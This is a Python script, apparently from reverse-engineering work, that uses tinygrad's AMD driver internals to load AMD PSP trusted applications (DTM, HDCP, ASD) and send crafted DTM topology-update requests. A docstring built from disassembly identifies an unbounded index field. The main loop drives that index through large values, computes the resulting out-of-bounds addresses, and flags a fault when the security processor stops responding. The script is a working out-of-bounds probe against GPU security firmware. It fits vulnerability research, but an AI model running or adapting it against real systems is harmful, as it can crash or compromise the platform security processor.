"""CORRECT field mapping, derived from dtm_cmd_topology_update_v2 disassembly:

  STM SP,{R0-R3,R6,R7} from R7=req+8 ->  SP+0x00=req[2] .. SP+0x14=req[7]
  STR R5,[SP+0x18] where R5=req[8]
  STR R6,[SP+0x1C] where R6=req[9]
  STRD R0,R1,[SP+0x20] from req[10],req[11]
  STR R2,[SP+0x28] = req[12]
  STR R3,[SP+0x30] = normalised req[13]
  STR R5,[SP+0x34] = req[14]
descriptor a2[k] -> entry+(8+k):
  entry+20 (INDEX)  = a2[12] = SP+0x0C = req[5]
  entry+32 (!=0)    = a2[24] = SP+0x18 = req[8]
  entry+40 (==0x30) = a2[32] = SP+0x20 = req[10]
Earlier tests drove req[6] as the index -> wrong field, hence the false negatives.
"""
import ctypes,struct,sys
from tinygrad import Device
from tinygrad.runtime.autogen.am import am
from tinygrad.helpers import lo32,hi32
d=Device["AMD"]; adev=d.iface.dev_impl; psp=adev.psp
SZ=ctypes.sizeof(am.struct_psp_gfx_cmd_resp); P='/Users/user/dev/amd-psp-re/psp_out/'; S=0x8000
def stat(): return int.from_bytes(bytes(adev.vram.view(psp.cmd_paddr,SZ)[:])[864:868],"little")
def alloc(n):
    pa=adev.mm.palloc(n,align=0x1000,zero=True); return pa,adev.paddr2mc(pa)
def load(cmd,blob):
    ap,amc=alloc(0x40000); cp,cmc=alloc(S)
    adev.vram.view(ap,len(blob))[:]=blob; adev.gmc.flush_hdp()
    adev.vram.view(psp.cmd_paddr,SZ)[:]=b"\x00"*SZ
    c=am.struct_psp_gfx_cmd_resp(cmd_id=cmd); t=c.cmd.cmd_load_ta
    t.app_phy_addr_hi,t.app_phy_addr_lo=hi32(amc),lo32(amc); t.app_len=len(blob)
    t.cmd_buf_phy_addr_hi,t.cmd_buf_phy_addr_lo=hi32(cmc),lo32(cmc); t.cmd_buf_len=S
    return psp._ring_submit(c).resp.session_id, cp
def inv(sid,shm,buf,tc):
    adev.vram.view(shm,S)[:]=bytes(buf); adev.gmc.flush_hdp()
    adev.vram.view(psp.cmd_paddr,SZ)[:]=b"\x00"*SZ
    ic=am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_INVOKE_CMD); iv=ic.cmd.cmd_invoke_cmd
    iv.session_id,iv.ta_cmd_id=sid,tc
    try: psp._ring_submit(ic); ps=0
    except RuntimeError: ps=stat()
    except TimeoutError: return "TIMEOUT",None
    return ps, bytes(adev.vram.view(shm,S)[:])
asd,_=load(am.GFX_CMD_ID_LOAD_ASD,open(P+'asd_full.bin','rb').read())
dtm,dsh=load(am.GFX_CMD_ID_LOAD_TA,open(P+'dtm_full.bin','rb').read())
hdcp,hsh=load(am.GFX_CMD_ID_LOAD_TA,open(P+'hdcp_full.bin','rb').read())
print("sids asd=%#x dtm=%#x hdcp=%#x MEMSIZE=%s"%(asd,dtm,hdcp,hex(adev.rreg(0xde3))))
def topo4(idx=None, e32=None, e40=None, link=0):
    req=[4]*1 + [0]*24
    req[0]=4; req[1]=1                 # req[1]!=0 -> update path
    req[9]=0                           # bounded <=0x17
    if idx  is not None: req[5]=idx    # entry+20  (the unbounded index)
    if e32  is not None: req[8]=e32    # entry+32  (must be non-zero)
    if e40  is not None: req[10]=e40   # entry+40  (must be 0x30)
    b=bytearray(S)
    for i,v in enumerate(req): struct.pack_into('<I',b,4*i,v&0xffffffff)
    ps,o=inv(dtm,dsh,b,4)
    return (ps, struct.unpack_from('<I',o,8)[0] if o else None)
def hc(c,slot=0):
    b=bytearray(S); struct.pack_into('<I',b,0,c); struct.pack_into('<I',b,0xC,slot)
    ps,o=inv(hdcp,hsh,b,c)
    return (ps, struct.unpack_from('<I',o,4)[0] if o else None)
def health(): return psp.is_sos_alive(), hex(adev.rreg(0xde3))
print("\n%-12s %-13s  dtm      0x0E          0x10          0x12          health"%("index","OOB addr"))
for idx in (0,8,9,186,1000,0x10000,0x400000,0x1000000,0x10000000,0x55555555,0xFFFFFFFF):
    t=topo4(idx=idx, e32=1, e40=0x30)
    r0=hc(0x0E); r1=hc(0x10); r2=hc(0x12)
    a,m=health()
    bad=(not a) or m!='0x5ff0' or "TIMEOUT" in (str(r0[0]),str(r1[0]),str(r2[0]))
    print("  %-12s %#013x %-8s %-13s %-13s %-13s %s %s%s"%(
        hex(idx),(0xD42660+3*idx+2)&0xffffffff,t[1],r0,r1,r2,a,m,"  <<<< FAULT" if bad else ""))
    if bad: print("  !! FAULT -- OOB read is REACHABLE"); sys.exit(2)
print("\nfinal health:",health())